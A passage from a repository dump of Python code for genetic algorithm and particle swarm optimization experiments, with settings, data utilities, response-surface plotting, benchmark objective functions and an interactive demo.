rosenbrock_function\nimport griewank_function\nimport ga_settings\n\nfrom oa_utils import read_xy_data, optimize_settings\nfrom test_helpers import gen_filename\nfrom regression_utils import get_regression_coef\n\n# def cmp_selection_cutoff_vs_mutation_rate():\n# X, y = read_xy_data('../data/ga/griewank/max_mutation_amount,mutation_rate.dat')\n#\n# b = get_regression_coef(X, y)\n#\n# x1_start = 0.1\n# x1_step = 0.1\n# x1_end = 1.0\n# x2_start = 0.1\n# x2_step = 0.1\n# x2_end = 1.0\n#\n# fig = plt.figure()\n# ax1 = fig.add_subplot(111, projection='3d')\n# ax1.set_zlim(3, 9)\n#\n# for i, row in enumerate(X):\n# ax1.scatter(row[1],row[2],y[i])\n#\n# pltx = np.arange(x1_start, x1_end+x1_step, x1_step)\n# plty = np.arange(x2_start, x2_end+x2_step, x2_step)\n# pltX, pltY = np.meshgrid(pltx, plty)\n# F = b[0] + b[1]*pltX + b[2]*pltY + b[3]*pltX*pltX + b[4]*pltX*pltY + b[5]*pltY*pltY\n# ax1.plot_wireframe(pltX, pltY, F)\n# ax1.contour(pltX, pltY, F, zdir='z', offset=3, cmap=cm.jet)\n#\n# ax1.set_title('Response Surface of Mutation Rate vs Selection Cutoff of GA on Griewank Function')\n# ax1.set_xlabel('Selection Cutoff')\n# ax1.set_ylabel('Mutation Rate')\n# ax1.set_zlabel('Mean Euclidean Distance from Global Minimum')\n# plt.show()\n\ndef cmp_max_mutation_vs_mutation_rate():\n X, y = read_xy_data('../data/ga/griewank/max_mutation_amount,mutation_rate.dat')\n\n b = get_regression_coef(X, y)\n\n x1_start = 0.1\n x1_step = 0.1\n x1_end = 1.0\n x2_start = 0.1\n x2_step = 0.1\n x2_end = 1.0\n\n fig = plt.figure()\n ax1 = fig.add_subplot(111, projection='3d')\n ax1.set_zlim(3, 9)\n\n for i, row in enumerate(X):\n ax1.scatter(row[1],row[2],y[i])\n\n pltx = np.arange(x1_start, x1_end+x1_step, x1_step)\n plty = np.arange(x2_start, x2_end+x2_step, x2_step)\n pltX, pltY = np.meshgrid(pltx, plty)\n F = b[0] + b[1]*pltX + b[2]*pltY + b[3]*pltX*pltX + b[4]*pltX*pltY + b[5]*pltY*pltY\n ax1.plot_wireframe(pltX, pltY, F)\n ax1.contour(pltX, pltY, F, zdir='z', offset=3, cmap=cm.jet)\n\n ax1.set_title('Response Surface of Mutation Rate vs Maximum Mutation Allowed of GA on Griewank Function')\n ax1.set_xlabel('Mutation Amount')\n ax1.set_ylabel('Mutation Rate')\n ax1.set_zlabel('Mean Euclidean Distance from Global Minimum')\n plt.show()\n\ndef cmp_func_val_over_iterations(o_algorithm, settings, o_function):\n x1_start = 0.3\n x1_step = 0.1\n x1_end = 0.6\n x2_start = 0.25\n x2_step = 0.25\n x2_end = 0.75\n\n x1_name = \"selection_cutoff\"\n x2_name = \"mutation_rate\"\n population_size = [50]\n\n optimize_settings(settings)\n\n fig, (ax1, ax2, ax3) = plt.subplots(3, sharex=True, sharey=True)\n\n tests1 = []\n tests2 = []\n tests3 = []\n\n for test in population_size:\n for i, x1 in enumerate(np.arange(x1_start, x1_end+x1_step, x1_step)):\n for j, x2 in enumerate(np.arange(x2_start, x2_end+x2_step, x2_step)):\n settings[x1_name] = x1\n settings[x2_name] = x2\n f = []\n\n settings['population_size'] = test\n\n algorithm = o_algorithm(settings, o_function)\n\n while settings['num_iterations'] > algorithm.num_generations:\n f.append(algorithm.get_best_f())\n algorithm.do_loop()\n\n if j == 0:\n tests1.append(\"Selection Cutoff %4.2f Mutation Rate %4.2f\" % (x1, x2))\n ax1.plot(range(1,len(f)+1), f)\n elif j == 1:\n tests2.append(\"Selection Cutoff %4.2f Mutation Rate %4.2f\" % (x1, x2))\n ax2.plot(range(1,len(f)+1), f)\n elif j == 2:\n tests3.append(\"Selection Cutoff %4.2f Mutation Rate %4.2f\" % (x1, x2))\n ax3.plot(range(1,len(f)+1), f)\n\n ax1.legend(tests1)\n ax2.legend(tests2)\n ax3.legend(tests3)\n ax1.set_title('GA Comparison of Selection Cutoff & Mutation Rate on Ackley Function (50 particles)')\n ax1.set_xlabel('Number of Iterations')\n ax2.set_xlabel('Number of Iterations')\n ax3.set_xlabel('Number of Iterations')\n ax1.set_ylabel('Objective Function Value')\n ax2.set_ylabel('Objective Function Value')\n ax3.set_ylabel('Objective Function Value')\n #ax2.ylabel('Objective Function Value')\n #ax3.ylabel('Objective Function Value')\n #plt.legend(tests)\n plt.show()\n\ndef create_bulk_var_cmp_graphs():\n import ga_tests\n\n input_loc = '../tmp/'\n output_loc = '../tmp/'\n\n x1_start = 0.1\n x1_step = 0.1\n x1_end = 1.0\n x2_start = 0.1\n x2_step = 0.1\n x2_end = 1.0\n\n tests = ga_tests.tests\n functions = ga_tests.functions\n\n for f in functions:\n for t in tests.items():\n names = t[1]\n x1_name = names['x1']\n x2_name = names['x2']\n\n filename = input_loc + gen_filename(x1_name, x2_name, f)\n (X, y) = read_xy_data(filename)\n\n b = get_regression_coef(X, y)\n\n fig = plt.figure()\n ax1 = fig.add_subplot(111, projection='3d')\n #ax1.set_zlim(3, 9)\n\n for i, row in enumerate(X):\n ax1.scatter(row[1],row[2],y[i])\n\n pltx = np.arange(x1_start, x1_end+x1_step, x1_step)\n plty = np.arange(x2_start, x2_end+x2_step, x2_step)\n pltX, pltY = np.meshgrid(pltx, plty)\n F = b[0] + b[1]*pltX + b[2]*pltY + b[3]*pltX*pltX + b[4]*pltX*pltY + b[5]*pltY*pltY\n #ax1.plot_wireframe(pltX, pltY, F)\n ax1.contour(pltX, pltY, F, zdir='z', offset=0, cmap=cm.jet)\n\n ax1.set_title('Response Surface of Mutation Rate vs Selection Cutoff of GA on Griewank Function')\n ax1.set_xlabel('Selection Cutoff')\n ax1.set_ylabel('Mutation Rate')\n ax1.set_zlabel('Mean Euclidean Distance from Global Minimum')\n plt.show()\n\n\nif __name__ == \"__main__\":\n create_bulk_var_cmp_graphs()\n #cmp_selection_cutoff_vs_mutation_rate()\n\n #cmp_func_val_over_iterations(genetic_algorithm.GA, \\\n # ga_settings.settings, \\\n # ackley_function.objective_function)\n" }, { "alpha_fraction": 0.6069819927215576, "alphanum_fraction": 0.6463963985443115, "avg_line_length": 36, "blob_id": "a0c4e81035d1ba6dc11d5c4809cad4ea3dac1cec", "content_id": "2678062166b8e93ac372d3f03a2b88f8b3d60f56", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 888, "license_type": "permissive", "max_line_length": 86, "num_lines": 24, "path": "/genetic_algorithm/ga_settings.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "settings = {\n 'num_iterations': 100,\n 'population_size': 100, # number of organisms\n 'stopping_criteria': 0.001,\n 'num_iter_stop_criteria': 100,\n 'number_of_dimensions': 2,\n 'bounds': [ # this must have 1 pair per dimension\n (-10,10),\n (-10,10)\n ],\n\n 'selection_cutoff': 0.7,\n 'mutation_rate': 0.3, # how often a mutation happens (between 0 and 1)\n 'max_mutation_amount': 1.0, # how large of a mutation is allowed (between 0 and 1)\n\n 'time_delay': 0.0,\n 'step_through': False, # whether it should pause after each iteration\n 'plot': False, # whether we should plot each iteration\n 'print_actions': False, # whether we should print when a method does an action\n 'print_iterations': False, # whether we should print after each iteration\n 'time': False, # whether we should output timing information\n\n 'time_as_float': True\n}\n" }, { "alpha_fraction": 0.5205298066139221, "alphanum_fraction": 0.5377483367919922, "avg_line_length": 23.095745086669922, "blob_id": "84f701683484cc44eb3fc53a4c82e7a7093c74f6", "content_id": "b18977baadb036562a0fb3f85f173e545b762a51", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2265, "license_type": "permissive", "max_line_length": 94, "num_lines": 94, "path": "/utils/oa_utils.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import random\n\ndef set_rosenbrock_bounds(s, num_dims):\n if num_dims != 2:\n print(\"set_rosenbrock_bounds not implemented for more than or less than 2 dimensions\")\n s['bounds'] = [(-2,2), (1,3)]\n return s\n\ndef optimize_settings(s):\n s['time_delay'] = 0.0\n s['step_through'] = False\n s['plot'] = False\n s['print_actions'] = False\n s['print_iterations'] = False\n s['time'] = False\n return s\n\ndef gen_random_numbers(bounds):\n b = bounds\n return [random.uniform(b[i][0], b[i][1]) for i in range(0, len(bounds))]\n\nimport sys # check which version of python is runnint\n# check if running with python3 or python2\nPY3 = sys.version_info[0] == 3\n\ndef get_even_spread(bounds, num_parts):\n print(\"implement\")\n\ndef pause():\n if PY3:\n input(\"Waiting for Enter to be pressed ...\")\n else:\n raw_input(\"Waiting for Enter to be pressed ...\")\n\ndef get_char():\n if PY3:\n return input(\"> \")\n else:\n return raw_input(\"> \")\n\ndef count_num_lines(filename):\n with open(filename) as f:\n for i, l in enumerate(f):\n pass\n return (i + 1)\n\ndef count_num_vars(filename):\n with open(filename) as f:\n for row in f:\n return ( len(row.split(',')) - 1 )\n\ndef write_xy_data(X, y, filename):\n with open(filename, 'w') as f:\n for i, row in enumerate(X):\n row_str = \"\"\n for x in row:\n row_str += str(x) + ','\n row_str += str(y[i][0]) + '\\n'\n f.write(row_str)\n\ndef read_xy_data(filename):\n import numpy as np\n\n with open(filename, 'r') as f:\n n = count_num_lines(filename)\n m = count_num_vars(filename)\n\n x = np.zeros(shape=(n,m))\n y = np.zeros(shape=(n,1))\n\n for i, row_str in enumerate(f):\n row = row_str.split(',')\n y[i] = row[-1]\n for j, var in enumerate(row[0:-1]):\n x[i,j] = var\n\n return (x, y)\n\nif __name__ == \"__main__\":\n #bounds = [(-10,10), (-10,10)]\n #print(gen_random_numbers(bounds))\n\n import numpy as np\n import sys\n\n #X = np.zeros(shape=(10,4))\n #Y = np.ones(shape=(10,1))\n\n #write_xy_data(X, Y, 'data.dat')\n\n x, y = read_xy_data('data.dat')\n\n print(x)\n print(y)\n" }, { "alpha_fraction": 0.523534893989563, "alphanum_fraction": 0.545576274394989, "avg_line_length": 35.916351318359375, "blob_id": "78b0d06b62556fca4bc13ede59cb43bcbdeed4a3", "content_id": "de9daceba847f95c556d58dd3591f5da39215913", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9709, "license_type": "permissive", "max_line_length": 117, "num_lines": 263, "path": "/demo/demo.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nimport numpy as np\n\nimport sys\nsys.path.append(\"../utils\")\nsys.path.append(\"../functions\")\nsys.path.append(\"../particle_swarm_optimization\")\nsys.path.append(\"../genetic_algorithm\")\n\nimport oa_utils\nfrom oa_utils import read_xy_data\nfrom regression_utils import get_regression_coef\n\nfrom particle_swarm_optimization import PSO\nimport pso_settings\n\nfrom genetic_algorithm import GA\nimport ackley_function\nimport ga_ackley_sparse_settings, ga_ackley_dense_settings\nimport pso_ackley_sparse_settings, pso_ackley_dense_settings\nimport easom_function\nimport ga_easom_sparse_settings, ga_easom_dense_settings, ga_easom_dense_settings1\nimport griewank_function\n#import ga_griewank_sparse_settings, ga_griewank_dense_settings\nimport pso_griewank_sparse_settings, pso_griewank_dense_settings\n\n\ncolors = ['blue', 'green', 'red', 'magenta', 'yellow', 'black']\n\ndef plot_data(ax, mma_arr, func, zbounds=None):\n c_i = 0\n to_plot = mma_arr\n algorithm_name = \"Genetic Algorithm\"\n\n x1_name = 'Selection Cutoff'\n x2_name = 'Mutation Rate'\n x1_start = 0.1\n x1_step = 0.1\n x1_end = 1.0\n x2_start = 0.1\n x2_step = 0.1\n x2_end = 1.0\n\n func_file = func + '_function'\n func_name = func + ' function'\n func_name = func_name.title()\n title = 'Response Surface of %s vs %s of %s on %s' % (x1_name, x2_name, \\\n algorithm_name, func_name)\n\n if zbounds is not None:\n ax.set_zlim(zbounds[0], zbounds[1])\n\n for j in to_plot:\n f = '%s/cutoff_vs_rate_(mma_%.2f)_' % (func, j)\n filename = '../data/ga/' + f + func_file + '.dat'\n #filename = input_loc + gen_filename(x1_var, x2_var, func)\n (X, y) = read_xy_data(filename)\n\n b = get_regression_coef(X, y)\n\n pltx = np.arange(x1_start, x1_end+x1_step, x1_step)\n plty = np.arange(x2_start, x2_end+x2_step, x2_step)\n pltX, pltY = np.meshgrid(pltx, plty)\n F = b[0] + b[1]*pltX + b[2]*pltY + b[3]*pltX*pltX + b[4]*pltX*pltY + b[5]*pltY*pltY\n ax.plot_wireframe(pltX, pltY, F, color=colors[c_i])\n\n c_i += 1\n if c_i > 6:\n c_i = 0\n\n ax.legend(to_plot, title='Max Allowed Mutation Size', loc='lower left')\n ax.set_title(title)\n ax.set_xlabel('Selection Cutoff')\n ax.set_ylabel('Mutation Rate')\n ax.set_zlabel('Median Euclidean Distance from Global Minimum')\n\ndef run_algorithm(algorithm, settings, func, reset=False):\n c = ''\n settings['plot'] = True\n\n while c != 'n' and c != 'b' and c != 'q' and not (c <= '9' and c >= '0'):\n if reset:\n settings['cg'] = 0.0\n a = algorithm(settings, func)\n c = oa_utils.get_char()\n if c == 'n' or c == 'b' or c == 'q' or (c <= '9' and c >= '0'):\n return c\n a.run()\n print(str(a))\n c = oa_utils.get_char()\n return c\n\ndef plot_func(name, func, ax):\n name = name.title()\n\n func_ax.clear()\n X = np.arange(-10, 10, .3)\n Y = np.arange(-10, 10, .3)\n X, Y = np.meshgrid(X, Y)\n params = [X, Y]\n Z = func(params)\n surf = ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=cm.jet,\n linewidth=0, antialiased=False)\n ax.contour(X, Y, Z, zdir='z', offset=-1, cmap=cm.jet)\n ax.set_title(\"%s Function\" % name)\n ax.set_xlabel(\"x1\")\n ax.set_ylabel(\"x2\")\n ax.set_zlabel(\"F(x1, x2)\")\n\nif __name__ == \"__main__\":\n plt.ion()\n\n #response_surface_fig = plt.figure()\n #ax = response_surface_fig.add_subplot(111, projection='3d')\n\n func_fig = plt.figure()\n func_ax = func_fig.add_subplot(111, projection='3d')\n\n c = ''\n case = 0\n while case != 9:\n if case == 0:\n c = oa_utils.get_char()\n\n # ackley\n elif case == 1:\n print(\"Explore Ackley with GA\")\n # response surface\n #func = 'ackley'\n #zbounds = (0,6)\n #mma_arr = [0.1, 0.5, 0.9]\n #plot_data(ax, mma_arr, func, zbounds)\n # function visual\n plot_func('ackley', ackley_function.objective_function, func_ax)\n # algorithm\n c = run_algorithm(GA, ga_ackley_sparse_settings.settings, ackley_function.objective_function)\n #ax.clear()\n elif case == 2:\n print(\"Investigate Ackley with GA\")\n plot_func('ackley', ackley_function.objective_function, func_ax)\n c = run_algorithm(GA, ga_ackley_dense_settings.settings, ackley_function.objective_function)\n #func = 'ackley'\n #zbounds = (0,6)\n #mma_arr = [0.1, 0.5, 0.9]\n #plot_data(ax, mma_arr, func, zbounds)\n #c = run_algorithm(GA, ga_bad_ackley_settings.settings, ackley_function.objective_function)\n #ax.clear()\n elif case == 3:\n print(\"Explore Ackley with PSO\")\n plot_func('ackley', ackley_function.objective_function, func_ax)\n c = run_algorithm(PSO, pso_ackley_sparse_settings.settings, ackley_function.objective_function)\n elif case == 4:\n print(\"Investigate Ackley with PSO\")\n plot_func('ackley', ackley_function.objective_function, func_ax)\n c = run_algorithm(PSO, pso_ackley_dense_settings.settings, ackley_function.objective_function)\n\n # easom\n elif case == 5:\n print(\"Investigating Easom too early with GA\")\n plot_func('easom', easom_function.objective_function, func_ax)\n c = run_algorithm(GA, ga_easom_dense_settings.settings, easom_function.objective_function)\n elif case == 6:\n print(\"Explore Easom with GA\")\n plot_func('easom', easom_function.objective_function, func_ax)\n # response surface\n #func = 'easom'\n #zbounds = (0,3)\n #mma_arr = [0.1, 0.5, 0.9]\n #plot_data(ax, mma_arr, func, zbounds)\n # function visual\n # algorithm\n c = run_algorithm(GA, ga_easom_sparse_settings.settings, easom_function.objective_function)\n #ax.clear()\n elif case == 7:\n print(\"Investigate Easom with GA\")\n plot_func('easom', easom_function.objective_function, func_ax)\n #func = 'easom'\n #zbounds = (0,3)\n #mma_arr = [0.1, 0.5, 0.9]\n #plot_data(ax, mma_arr, func, zbounds)\n c = run_algorithm(GA, ga_easom_dense_settings1.settings, easom_function.objective_function)\n #ax.clear()\n\n # griewank\n elif case == 8:\n print(\"Narrow in on Griewank minimum with PSO\")\n plot_func('griewank', griewank_function.objective_function, func_ax)\n # response surface\n #mma_arr = [0.3, 0.5, 0.9]\n #func = 'griewank'\n #zbounds = (5,9)\n #plot_data(ax, mma_arr, func, zbounds)\n # function visual\n func_ax.clear()\n X = np.arange(-10, 10, .3)\n Y = np.arange(-10, 10, .3)\n X, Y = np.meshgrid(X, Y)\n params = [X, Y]\n Z = griewank_function.objective_function(params)\n surf = func_ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=cm.jet,\n linewidth=0, antialiased=False)\n func_ax.contour(X, Y, Z, zdir='z', offset=-1, cmap=cm.jet)\n func_ax.set_title(\"Griewank Function\")\n func_ax.set_xlabel(\"x1\")\n func_ax.set_ylabel(\"x2\")\n func_ax.set_zlabel(\"F(x1, x2)\")\n # algorithm\n c = run_algorithm(PSO, pso_griewank_sparse_settings.settings, griewank_function.objective_function, True)\n #ax.clear()\n\n\n elif case == 999:\n mma_arr = [0.3, 0.5, 0.9]\n func = 'griewank'\n zbounds = (5,9)\n plot_data(ax, mma_arr, func, zbounds)\n # function visual\n func_ax.clear()\n X = np.arange(-1.5, 1.5, .05)\n Y = np.arange(-0.5, 2, .05)\n X, Y = np.meshgrid(X, Y)\n params = [X, Y]\n Z = rosenbrock_function.objective_function(params)\n surf = func_ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=cm.jet,\n linewidth=0, antialiased=False)\n func_ax.contour(X, Y, Z, zdir='z', offset=-1, cmap=cm.jet)\n func_ax.set_title(\"Rosenbrock Function\")\n func_ax.set_xlabel(\"x1\")\n func_ax.set_ylabel(\"x2\")\n func_ax.set_zlabel(\"F(x1, x2)\")\n # algorithm\n run_algorithm(GA, ga_bad_griewank_settings.settings, griewank_function.objective_function)\n ax.clear()\n\n # rosenbrock\n elif case == 998:\n mma_arr = [0.1, 0.5, 0.9]\n func = 'rosenbrock'\n zbounds = (0,4)\n plot_data(ax, mma_arr, func, zbounds)\n run_algorithm(GA, ga_rosenbrock_settings.settings, rosenbrock_function.objective_function)\n ax.clear()\n elif case == 997:\n mma_arr = [0.1, 0.5, 0.9]\n func = 'rosenbrock'\n zbounds = (0,4)\n plot_data(ax, mma_arr, func, zbounds)\n run_algorithm(GA, ga_bad_rosenbrock_settings.settings, rosenbrock_function.objective_function)\n ax.clear()\n\n if c == 'n':\n case += 1\n elif c == 'b':\n case -= 1\n elif c == 'q':\n sys.exit()\n elif c == '1' or c == '2' or c == '3' or c == '4' or c == '5' or c == '6' \\\n or c == '7' or c == '8':\n case = int(c)\n if case == 0:\n case += 1\n" }, { "alpha_fraction": 0.3651551306247711, "alphanum_fraction": 0.45823389291763306, "avg_line_length": 23.647058486938477, "blob_id": "f09ba17d106e02160cbf75ffa55a783aa3cdde2a", "content_id": "51ed8c1681e854a3d6ec531eac0766305205967d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 419, "license_type": "permissive", "max_line_length": 89, "num_lines": 17, "path": "/functions/six_hump_camel_back_function.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import math\n\ndef objective_function(params):\n if type(params[0]) is float:\n x1 = params[0]\n x2 = params[1]\n if x1 < 0:\n x1 = -1.*x1\n if x2 < 0:\n x2 = -1.*x2\n else:\n x1 = [abs(v) for v in params[0]]\n x2 = [abs(v) for v in params[1]]\n\n print x1\n print x2\n return ( (4 - 2.1*x1*x1 + math.pow(x1, 4./3.)*x1*x1 + x1*x2 + (-4 + 4*x2*x2)*x2*x2) )\n" }, { "alpha_fraction": 0.47058823704719543, "alphanum_fraction": 0.5490196347236633, "avg_line_length": 19.399999618530273, "blob_id": "9f6c6b073fda331b5b882844f5d10018020169be", "content_id": "113cdc9784dec8722747a9c5971dd040e33c9497", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 102, "license_type": "permissive", "max_line_length": 31, "num_lines": 5, "path": "/functions/quadratic_function.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "def objective_function(params):\n x1 = params[0]\n x2 = params[1]\n \n return (x1**2 + x2**2)\n" }, { "alpha_fraction": 0.5371384024620056, "alphanum_fraction": 0.5715402364730835, "avg_line_length": 30.19512176513672, "blob_id": "4b0a33d0731a853094d62dc6a2f3e912fa561516", "content_id": "5207a7ce636d237a2e5545ead4c0547847bb7e55", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2558, "license_type": "permissive", "max_line_length": 80, "num_lines": 82, "path": "/utils/plot_utils.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt # plotting\nimport matplotlib.mlab as mlab\nimport numpy as np\nnp.seterr(divide='ignore', invalid='ignore') # TODO FIX!!!\n\nimport sys\nsys.path.append(\"../functions\")\nimport rosenbrock_function\n\nclass PlotUtils:\n\n def __init__(self, num_dims, bounds, func):\n\n # you can only plot up to 2 dimensions\n if num_dims > 2:\n print(\"Can not plot more than 2 dimensions\")\n raise ValueError\n\n if num_dims != 2:\n raise ValueError(\"Feel free to implement PlotUtils for 1 dimension\")\n\n # needed to update plot on the fly\n plt.ion()\n\n self.num_dims = num_dims\n self.bounds = bounds\n\n self.fig, self.ax = plt.subplots()\n self.line, = self.ax.plot([], [], 'ro')\n self.ax.grid()\n\n\n delta1 = float(bounds[0][1] - bounds[0][0]) / 100\n delta2 = float(bounds[1][1] - bounds[1][0]) / 100\n x1 = np.arange(bounds[0][0], bounds[0][1], delta1)\n x2 = np.arange(bounds[1][0], bounds[1][1], delta2)\n X, Y = np.meshgrid(x1, x2)\n Z = func([X, Y])\n\n # Create a simple contour plot with labels using default colors. The\n # inline argument to clabel will control whether the labels are draw\n # over the line segments of the contour, removing the lines beneath\n # the label\n #plt.figure()\n if func == rosenbrock_function.objective_function:\n CS = plt.contour(X, Y, Z, range(0,11) + range(100, 1000, 100))\n else:\n CS = plt.contour(X, Y, Z)\n plt.clabel(CS, inline=1, fontsize=10)\n #plt.title('Simplest default with labels')\n\n xlim_l = bounds[0][0]\n xlim_u = bounds[0][1]\n ylim_l = bounds[1][0]\n ylim_u = bounds[1][1]\n self.ax.set_xlim(xlim_l, xlim_u)\n self.ax.set_ylim(ylim_l, ylim_u)\n\n def __del__(self):\n plt.close(self.fig)\n\n def plot(self, points):\n x1 = [point[0] for point in points]\n x2 = [point[1] for point in points]\n self.line.set_xdata(x1)\n self.line.set_ydata(x2)\n self.fig.canvas.draw()\n self.fig.canvas.flush_events()\n\nif __name__ == \"__main__\":\n import sys # check which version of python is runnint\n # check if running with python3 or python2\n PY3 = sys.version_info[0] == 3\n\n data = [(0,0),(1,1),(2,2),(-3,-3)]\n pu = PlotUtils(2, [(-10,10),(-10,10)])\n pu.plot(data)\n\n if PY3:\n input(\"Waiting for Enter to be pressed ...\")\n else:\n raw_input(\"Waiting for Enter to be pressed ...\")\n" }, { "alpha_fraction": 0.4166666567325592, "alphanum_fraction": 0.5333333611488342, "avg_line_length": 23, "blob_id": "b20404f550428d1b9d4cbcb854fdd17e8387a074", "content_id": "eae4317709e7690cdbe98f0bf5d116640b306b2d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 120, "license_type": "permissive", "max_line_length": 48, "num_lines": 5, "path": "/functions/rosenbrock_function.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "def objective_function(params):\n x1 = params[0]\n x2 = params[1]\n\n return ( 100*(x2 - x1*x1)**2 + (x1 - 1)**2 )\n" }, { "alpha_fraction": 0.5408549904823303, "alphanum_fraction": 0.5819805264472961, "avg_line_length": 29.545454025268555, "blob_id": "f15116d2bf534f096c6b963669c8086470f5119b", "content_id": "e51fcf171555a254252dad146dbc6fe7955fa608", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3696, "license_type": "permissive", "max_line_length": 90, "num_lines": 121, "path": "/tests/pso_analysis.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nimport numpy as np\nimport sys\nsys.path.append(\"../utils\")\nsys.path.append(\"../functions\")\nsys.path.append(\"../particle_swarm_optimization\")\n\nimport particle_swarm_optimization\nimport ackley_function\nimport easom_function\nimport rosenbrock_function\nimport griewank_function\nimport pso_settings\n\nfrom oa_utils import read_xy_data, optimize_settings\nfrom regression_utils import get_regression_coef\n\ndef cmp_cp_vs_cg():\n X, y = read_xy_data('cp,cg_ackley.dat')\n\n b = get_regression_coef(X, y)\n\n x1_start = 0.0\n x1_step = 0.05\n x1_end = 1.0\n x2_start = 0.0\n x2_step = 0.05\n x2_end = 1.0\n\n fig = plt.figure()\n ax1 = fig.add_subplot(111, projection='3d')\n ax1.set_zlim(0, 1)\n\n for i, row in enumerate(X):\n ax1.scatter(row[1],row[2],y[i])\n\n pltx = np.arange(x1_start, x1_end+x1_step, x1_step)\n plty = np.arange(x2_start, x2_end+x2_step, x2_step)\n pltX, pltY = np.meshgrid(pltx, plty)\n F = b[0] + b[1]*pltX + b[2]*pltY + b[3]*pltX*pltX + b[4]*pltX*pltY + b[5]*pltY*pltY\n #ax1.plot_wireframe(pltX, pltY, F)\n\n ax1.set_xlabel('CP')\n ax1.set_ylabel('CG')\n ax1.set_zlabel('Objective Function Value')\n plt.show()\n\ndef cmp_func_val_over_iterations(o_algorithm, settings, o_function):\n x1_start = 0.25\n x1_step = 0.25\n x1_end = 0.75\n x2_start = 0.25\n x2_step = 0.25\n x2_end = 0.75\n x1_name = \"cp\"\n x2_name = \"cg\"\n varient = 'normal'\n population_size = [50]\n\n optimize_settings(settings)\n\n fig, (ax1, ax2, ax3) = plt.subplots(3, sharex=True, sharey=True)\n\n settings['velocity_type'] = varient\n\n tests1 = []\n tests2 = []\n tests3 = []\n\n for test in population_size:\n for i, x1 in enumerate(np.arange(x1_start, x1_end+x1_step, x1_step)):\n for j, x2 in enumerate(np.arange(x2_start, x2_end+x2_step, x2_step)):\n settings[x1_name] = x1\n settings[x2_name] = x2\n f = []\n\n settings['population_size'] = test\n\n algorithm = o_algorithm(settings, o_function)\n\n while settings['num_iterations'] > algorithm.num_iterations:\n f.append(algorithm.get_best_f())\n algorithm.do_loop()\n\n if j == 0:\n tests1.append(\"Cp %4.2f Cg %4.2f\" % (x1, x2))\n ax1.plot(range(1,len(f)+1), f)\n elif j == 1:\n tests2.append(\"Cp %4.2f Cg %4.2f\" % (x1, x2))\n ax2.plot(range(1,len(f)+1), f)\n elif j == 2:\n tests3.append(\"Cp %4.2f Cg %4.2f\" % (x1, x2))\n ax3.plot(range(1,len(f)+1), f)\n\n ax1.legend(tests1)\n ax2.legend(tests2)\n ax3.legend(tests3)\n varient = varient[0].upper() + varient[1:]\n ax1.set_title(varient + ' PSO Comparison of Cp & Cg on Easom Function (50 particles)')\n ax1.set_xlabel('Number of Iterations')\n ax2.set_xlabel('Number of Iterations')\n ax3.set_xlabel('Number of Iterations')\n ax1.set_ylabel('Objective Function Value')\n ax2.set_ylabel('Objective Function Value')\n ax3.set_ylabel('Objective Function Value')\n #ax2.ylabel('Objective Function Value')\n #ax3.ylabel('Objective Function Value')\n #plt.legend(tests)\n plt.show()\n #fig_name = 'func_value_vs_iterations'\n #fig.savefig(fig_name + '.png')\n #plt.close(fig)\n\n\nif __name__ == \"__main__\":\n #cmp_cp_vs_cg()\n cmp_func_val_over_iterations(particle_swarm_optimization.PSO, \\\n pso_settings.settings, \\\n easom_function.objective_function)\n" }, { "alpha_fraction": 0.5412843823432922, "alphanum_fraction": 0.5779816508293152, "avg_line_length": 53.5, "blob_id": "a6c2629e30270b87f15c8f6124baba9a4f7fed2e", "content_id": "a3631ebce3975b142e38796dfa3480936d27fc39", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 109, "license_type": "permissive", "max_line_length": 61, "num_lines": 2, "path": "/tests/test_helpers.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "def gen_filename(x1_name, x2_name, func_name):\n return x1_name + '_' + x2_name + '_' + func_name + '.dat'\n" }, { "alpha_fraction": 0.618534505367279, "alphanum_fraction": 0.6400862336158752, "avg_line_length": 23.421052932739258, "blob_id": "9519da42cde98aa7643e542d5868d8d2638607d0", "content_id": "4779be7e94f290629748fe617dc038fd0ca7bad9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 464, "license_type": "permissive", "max_line_length": 45, "num_lines": 19, "path": "/test/test_oa_utils.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import unittest\n\nimport sys\nsys.path.append(\"../utils\")\n\nfrom oa_utils import gen_random_numbers\n\nclass test_random_numbers(unittest.TestCase):\n def test_random(self):\n bounds = [(-10,10), (-10,10)]\n arr = gen_random_numbers(bounds)\n\n self.assertIsNotNone(arr)\n self.assertIsInstance(arr, list)\n self.assertIsInstance(arr[0], float)\n self.assertIsInstance(arr[1], float)\n\nif __name__ == \"__main__\":\n unittest.main()\n" }, { "alpha_fraction": 